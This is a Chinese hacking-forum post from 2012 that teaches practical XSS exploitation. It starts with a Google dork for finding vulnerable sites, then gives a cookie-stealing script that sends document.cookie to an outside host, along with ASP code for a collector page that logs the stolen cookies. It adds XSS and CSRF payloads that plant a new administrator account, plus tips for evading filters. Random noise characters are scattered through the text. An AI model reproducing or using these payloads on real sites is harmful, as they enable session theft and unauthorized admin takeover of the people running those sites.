中国网络渗透测试联盟

标题: 实战xss漏洞利用 [打印本页]

作者: admin    时间: 2012-9-13 17:08
标题: 实战xss漏洞利用
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为:
' y! {# W" c# }8 v. t, j- F4 x* }0 X* ]( {
http://tieba.baidu.com/f?kz=1069007239  g" n% @$ B# r+ m8 k

2 |5 z" v9 y& Z! O3 O8 P这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。; E6 y9 Q+ _( `- q
( @4 P8 e8 ^/ R6 x5 g6 B
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
9 R* t* `( u4 B+ Y1 q8 `! I; s4 v: ]! e; X1 s; d1 ~; C
我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。1 t. e  B% g7 F" N8 ~
) T7 z# u" N8 H4 i: l
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
3 b2 h, K- c" g" ^* s& g
4 x" E) o( i) ^% n1 x, F- z好了,废话不多说了,一起来看文章吧。8 I1 N& s( l( D! U5 Y2 h: l

; H! q8 u7 ~9 C-------------------------------------------------------------------) W# f. t# N! P2 t" f; V& i& l

/ V6 ?# D5 t' L( [首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。3 F. S' r' l1 o

# o; k, Z6 Z+ l$ g$ B9 m
5 x$ _& i4 i3 `6 ]! v/ X0 S# L2 O8 R$ k6 U, O0 \. P. l4 w  o
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:* S( \" _1 C. ^, `& c% ]! W3 R
4 S4 ^2 s0 s) _, y" R

' C+ Q' {6 k, ^7 y; ?2 `* J0 f' V* ^+ m+ @3 H
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是  V* L! ?: F' b0 b! e) Y
1:让目标访问已跨站的网址,然后这个网址执行脚本/ ?' b/ {; g' ^' Z! f* W% G
2:然后跳转到你已经写好专门用来收集Cookie的网址
% q0 @( K2 `& R0 R' ?6 u+ n; o& o# o( X) }) o& N5 n
具体实现方法:, K: p  F2 {+ s4 G8 X7 J& b0 P
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
' `. F2 O( y7 s' `- t/ g! a/ u6 I2 ]) d这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。4 S. Y3 T4 R: {: X  W* a0 r& ^0 l

1 M* d$ b, p& R: D7 x2 c6 ^这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:( `( r2 m: j5 b

6 d, {4 e9 V+ ^) @. y! A8 c<html>
5 v1 r+ R1 t% {* s/ L6 T<title>xx</title>& ~. F6 |- h4 c& K6 X
<body>
% @; j0 f3 ?2 G3 t$ e( y4 p" g$ c<%
4 \7 P' v! Z& u+ ]/ A" @9 y( C7 V: rtestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
$ p2 h  i2 {# \/ I; Fmsg = Request("msg")   //获取提交过来的msg变量,也就是cookie值  i# e% u! o( b  ~* @6 B
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象! |; @3 ]& `; s' D. `* `3 V
set thisfile = fs.OpenTextFile(testfile,8,True,0)/ C9 z! e2 @( u9 p
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie4 N& D4 h" q# n* Q- a
thisfile.close   //关闭
! B$ O: o+ F- u6 L! wset fs = nothing
4 r5 R& h  _5 H4 d3 S/ t! F. j( x%>. A! e9 `# I8 i/ K7 Q  h
</body>, t! z) h! i. O& Y
</html>. l# a% i. `8 F0 u; n

! ?) j& X. x5 r然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
& Z$ S0 L4 u  d
. l. q! R4 q9 f
- V5 e& T  E1 f! F + m( T  `9 {# x5 R+ ~
. |& S) j5 x# m5 x
拿出来看看,呵呵,Cookie到手:
1 S5 i+ U4 S  z( ^2 e
5 {, \9 f0 A3 V$ t; P
' {6 O2 w3 ^5 ?4 J% N  y
( \  e% Q! \+ i4 Z& X本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~( J4 L' ~8 `+ d9 p% {' C' z
& x9 f1 X, G4 W6 _9 S& Y
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。- \* F2 g: Z1 q& d
/ u4 \; J2 A# u+ U! i& [1 e5 [
-------------------------------------------------------------------
# L. }. o* q& D1 a
. r7 x! h; K7 i. E, @& J1 d下面是我对这个帖子的回复,也一起贴过来吧:
* p6 b3 k! R9 J
7 B6 _: a/ s6 d5 [" C& i5 a说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。4 V6 G! g/ v# O+ B9 P/ ?) \! t

; m; y( n0 ?6 C4 Q7 W/ D# M% u% {8 X但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。9 k$ ?$ T( T3 A3 ^9 A. ^1 U! n
再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
, a; q6 p/ |; _, j
0 {8 ^  t  z- T" {5 K& _在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
0 C$ m3 Y: e4 @+ t1 Z6 W; z9 f3 p2 S# ]3 Z7 H' J
http://user.qzone.qq.com/673116767/blog/12524525360 [  [* _: m2 y7 A* Z$ `

! f5 k1 M3 m1 r+ e& a9 g一般发现一个xss漏洞后要做的基本上就是这些:
, ^4 b- t- g, O' i3 Y- V" f6 ?  y0 m3 X9 u
1.  伪造请求  使用$_REQUEST或$_GET: D7 T. y* B- B5 t

* r$ ?) \% t0 ]首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
* W6 \2 C- q( P$ N( k<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />9 k1 d0 J4 Q/ ~( m
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。/ U! Y% c( ?$ x3 \- `

3 t& y) d( L: ]6 a1 ^如果是可视文本编辑器,可以尝试使用输入:/ ?1 `7 c8 U/ i% N  Y
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')" m( @6 j9 I) y  V
这样最终会构造出:
+ `  Q& {5 Y  s- t' l* H1 J3 K8 P* o! H<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
+ B. a( Z& r# e0 ?4 k1 Q8 D$ \总之要举一反三。! V7 q; n% P" g$ V6 u2 ]( J0 J: y
0 o. q3 j- q$ w/ O; |1 h" i" D
2. 伪造请求  使用$_POST
* b  Y5 {( J' a5 y; l: i
) f! U$ p" `/ ^/ N0 a6 [当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:* a0 h3 `; s3 R* V
<sc/*xss*/ript type="text/javascript"># T+ n  H+ d2 k- b; y6 w9 _$ [3 [$ o
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
* F0 U8 X, m/ b) L# naj.open("POST", "/admin/admin_add.asp", false);
3 P4 j7 A* b+ n- [var postdata = 'name=xxx&psd=yyy';
# r  K0 \9 T" |# Z8 A' s( q. qaj.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 8 H+ c0 A& i1 k, S1 y( D
aj.send(postdata);
: \, Q# {& }% E- \</scr/*xss*/ipt>' }5 J$ x( W4 e  ?
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。0 U" {' w, w( L/ |. f$ z  U5 z* B4 ~

+ L. Z# _, x  ?2 F  e$ J3. 跨站伪造请求 使用$_GET 或 $_REQUEST
" a; \2 H6 |5 ]0 T7 A7 c" b. H: q' B  Z; c- W3 l3 n
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片9 j- _- k9 N" X( `$ R
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>( x( ~* O, D% m  ^% A* U+ C9 r
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。8 e( t- B% Z6 u" f9 d; C! k( k
5 |2 h8 M& F* X1 F! m3 ?0 Z
4.跨站伪造请求 使用$_POST(0day)
3 v+ W8 w, R% t" A/ o: g' |) U- f
/ Z( l9 b# ]7 E6 |  V* D如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。: C; z# {5 L, z% ~4 i$ j4 R2 ?( R- [3 t
9 y5 |, V5 p* U8 b
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
2 W  u9 A8 O1 Q6 H. O( l  z- X2 q9 l6 I, _1 J9 B1 M4 x% N/ p' R
总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
; \. v- F, W. V3 ^$ c- w. z
4 u( ^. p& G0 _& h/ A3 L4 L  rOK,该说的都说完了,Over。
; U; [' d4 o0 X5 {0 a5 J




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2